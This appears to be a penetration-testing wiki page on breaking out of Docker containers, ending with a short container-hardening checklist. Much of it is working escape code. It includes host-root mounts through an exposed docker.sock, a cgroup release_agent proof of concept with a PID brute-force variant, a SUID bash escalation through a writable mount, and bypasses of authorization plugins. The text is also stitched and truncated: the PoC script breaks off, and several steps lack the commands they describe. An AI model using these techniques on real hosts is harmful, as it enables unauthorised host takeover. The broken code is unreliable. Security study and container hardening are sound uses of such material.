If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.
This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.
```bash
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
```
In this case you can use regular docker commands to communicate with the docker daemon:
```bash
#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
```
{% hint style="info" %}
In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`**
{% endhint %}
## Container Capabilities
You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE`**
You can check currently container capabilities with:
```bash
capsh --print
```
In the following page you can **learn more about linux capabilities** and how to abuse them:
{% page-ref page="linux-capabilities.md" %}
## `--privileged` flag
The --privileged flag allows the container to have access to the host devices.
### I own Root
Well configured docker containers won't allow command like **fdisk -l**. However on missconfigured docker command where the flag --privileged is specified, it is possible to get the privileges to see the host drive.
The `--privileged` flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities.
In fact, `--privileged` provides far more permissions than needed to escape a docker container via this method. In reality, the “only” requirements are:
1. We must be running as root inside the container
2. The container must be run with the `SYS_ADMIN` Linux capability
3. The container must lack an AppArmor profile, or otherwise allow the `mount` syscall
4. The cgroup v1 virtual filesystem must be mounted read-write inside the container
The `SYS_ADMIN` capability allows a container to perform the mount syscall \(see [man 7 capabilities](https://linux.die.net/man/7/capabilities)\). [Docker starts containers with a restricted set of capabilities](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) by default and does not enable the `SYS_ADMIN` capability due to the security risks of doing so.
Further, Docker [starts containers with the `docker-default` AppArmor](https://docs.docker.com/engine/security/apparmor/#understand-the-policies) policy by default, which [prevents the use of the mount syscall](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) even when the container is run with `SYS_ADMIN`.
A container would be vulnerable to this technique if run with the flags: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN`
### Breaking down the proof of concept
Now that we understand the requirements to use this technique and have refined the proof of concept exploit, let’s walk through it line-by-line to demonstrate how it works.
To trigger this exploit we need a cgroup where we can create a `release_agent` file and trigger `release_agent` invocation by killing all processes in the cgroup. The easiest way to accomplish that is to mount a cgroup controller and create a child cgroup.
To do that, we create a `/tmp/cgrp` directory, mount the [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup controller and create a child cgroup \(named “x” for the purposes of this example\). While every cgroup controller has not been tested, this technique should work with the majority of cgroup controllers.
If you’re following along and get “mount: /tmp/cgrp: special device cgroup does not exist”, it’s because your setup doesn’t have the RDMA cgroup controller. Change `rdma` to `memory` to fix it. We’re using RDMA because the original PoC was only designed to work with it.
Note that cgroup controllers are global resources that can be mounted multiple times with different permissions and the changes rendered in one mount will apply to another.
We can see the “x” child cgroup creation and its directory listing below.
Next, we enable cgroup notifications on release of the “x” cgroup by writing a 1 to its `notify_on_release` file. We also set the RDMA cgroup release agent to execute a `/cmd` script — which we will later create in the container — by writing the `/cmd` script path on the host to the `release_agent` file. To do it, we’ll grab the container’s path on the host from the `/etc/mtab` file.
The files we add or modify in the container are present on the host, and it is possible to modify them from both worlds: the path in the container and their path on the host.
Now, we create the `/cmd` script such that it will execute the `ps aux` command and save its output into `/output` on the container by specifying the full path of the output file on the host. At the end, we also print the `/cmd` script to see its contents:
```text
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output
```
Finally, we can execute the attack by spawning a process that immediately ends inside the “x” child cgroup. By creating a `/bin/sh` process and writing its PID to the `cgroup.procs` file in “x” child cgroup directory, the script on the host will execute after `/bin/sh` exits. The output of `ps aux` performed on the host is then saved to the `/output` file inside the container:
```text
root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
The previous PoCs work fine when the container is configured with a storage-driver which exposes the full host path of the mount point, for example `overlayfs`, however I recently came across a couple of configurations which did not obviously disclose the host file system mount point.
### Kata Containers
```text
root@container:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
```
[Kata Containers](https://katacontainers.io/) by default mounts the root fs of a container over `9pfs`. This discloses no information about the location of the container file system in the Kata Containers Virtual Machine.
\* More on Kata Containers in a future blog post.
### Device Mapper
```text
root@container:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
```
I saw a container with this root mount in a live environment, I believe the container was running with a specific `devicemapper` storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment.
### An Alternative PoC
Obviously in these cases there is not enough information to identify the path of container files on the host file system, so Felix’s PoC cannot be used as is. However, we can still execute this attack with a little ingenuity.
The one key piece of information required is the full path, relative to the container host, of a file to execute within the container. Without being able to discern this from mount points within the container we have to look elsewhere.
#### Proc to the Rescue <a id="proc-to-the-rescue"></a>
The Linux `/proc` pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the `/proc` directory of the process on the host:Container
```bash
root@container:~$ sleep 100
```
```bash
root@host:~$ ps -eaf | grep sleep
root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x 9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov 9 15:41 ..
dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr
-rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup
-r-------- 1 root root 0 Nov 19 10:04 auxv
-r--r--r-- 1 root root 0 Nov 19 10:03 cgroup
--w------- 1 root root 0 Nov 19 10:04 clear_refs
-r--r--r-- 1 root root 0 Nov 19 10:04 cmdline
...
-rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
-rw-r--r-- 1 root root 0 Nov 19 10:29 sched
...
```
_As an aside, the `/proc/<pid>/root` data structure is one that confused me for a very long time, I could never understand why having a symbolic link to `/` was useful, until I read the actual definition in the man pages:_
> /proc/\[pid\]/root
>
> UNIX and Linux support the idea of a per-process root of the filesystem, set by the chroot\(2\) system call. This file is a symbolic link that points to the process’s root directory, and behaves in the same way as exe, and fd/\*.
>
> Note however that this file is not merely a symbolic link. It provides the same view of the filesystem \(including namespaces and the set of per-process mounts\) as the process itself.
The `/proc/<pid>/root` symbolic link can be used as a host relative path to any file within a container:Container
```bash
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
```
```bash
root@host:~$ cat /proc/`pidof sleep`/root/findme
findme
```
This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of _any_ process running in the container.
#### Pid Bashing <a id="pid-bashing"></a>
This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The `init` process is assigned process id `1` and all subsequent processes are assigned incremental ids. To identify the host process id of a process within a container, a brute force incremental search can be used:Container
```text
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
```
Host
```bash
root@host:~$ COUNTER=1
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
7822
root@host:~$ cat /proc/${COUNTER}/root/findme
findme
```
#### Putting it All Together <a id="putting-it-all-together"></a>
To complete this attack the brute force technique can be used to guess the pid for the path `/proc/<pid>/root/payload.sh`, with each iteration writing the guessed pid path to the cgroups `release_agent` file, triggering the `release_agent`, and seeing if an output file is created.
The only caveat with this technique is it is in no way shape or form subtle, and can increase the pid count very high. As no long running processes are kept running this _should_ not cause reliability issues, but don’t quote me on that.
The below PoC implements these techniques to provide a more generic attack than first presented in Felix’s original PoC for escaping a privileged container using the cgroups `release_agent` functionality:
```bash
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} <<__EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
In some occasions, the sysadmin may install some plugins to docker to avoid low privilege users to interact with docker without being able to escalate privileges.
### disallowed `run --privileged`
In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container:
```bash
docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.
```
However, a user can **create a shell inside the running container and give it the extra privileges**:
```bash
docker run -d --security-opt "seccomp=unconfined" ubuntu
Now, the user can escape from the container using any of the previously discussed techniques and escalate privileges inside the host.
### Mount Writable Folder
In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder:
```bash
host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root
```
{% hint style="info" %}
Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null`
**Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges \(maybe modifying `/etc/shadow`\)
{% endhint %}
### Unchecked JSON Structure
It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the API \([https://docs.docker.com/engine/api/v1.40/\#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)\) like "**Binds**".
In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root \(/\) folder of the host:
```bash
docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
#Then, a container that mounts the root folder of the host
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem
```
### Unchecked JSON Attribute
It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parametter** of the API \([https://docs.docker.com/engine/api/v1.40/\#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)\) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS\_MODULE** capability:
This is not a technique to breakout from a Docker container but a security feature that Docker uses and you should know about as it might prevent you from breaking out from docker:
{% page-ref page="seccomp.md" %}
## AppArmor in Docker
This is not a technique to breakout from a Docker container but a security feature that Docker uses and you should know about as it might prevent you from breaking out from docker:
{% page-ref page="apparmor.md" %}
## Use containers securely
Docker restricts and limits containers by default. Loosening these restrictions may create security issues, even without the full power of the `--privileged` flag. It is important to acknowledge the impact of each additional permission, and limit permissions overall to the minimum necessary.
To help keep containers secure:
* Do not use the `--privileged` flag or mount a [Docker socket inside the container](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/). The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag.
* Do not run as root inside the container. Use a [different user](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) or [user namespaces](https://docs.docker.com/engine/security/userns-remap/). The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups.
* [Drop all capabilities](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) \(`--cap-drop=all`\) and enable only those that are required \(`--cap-add=...`\). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack.
* [Use the “no-new-privileges” security option](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries.
* [Limit resources available to the container](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources). Resource limits can protect the machine from denial of service attacks.
* Adjust [seccomp](https://docs.docker.com/engine/security/seccomp/), [AppArmor](https://docs.docker.com/engine/security/apparmor/) \(or SELinux\) profiles to restrict the actions and syscalls available for the container to the minimum required.
* Use [official docker images](https://docs.docker.com/docker-hub/official_images/) or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images.
* Regularly rebuild your images to apply security patches. This goes without saying.
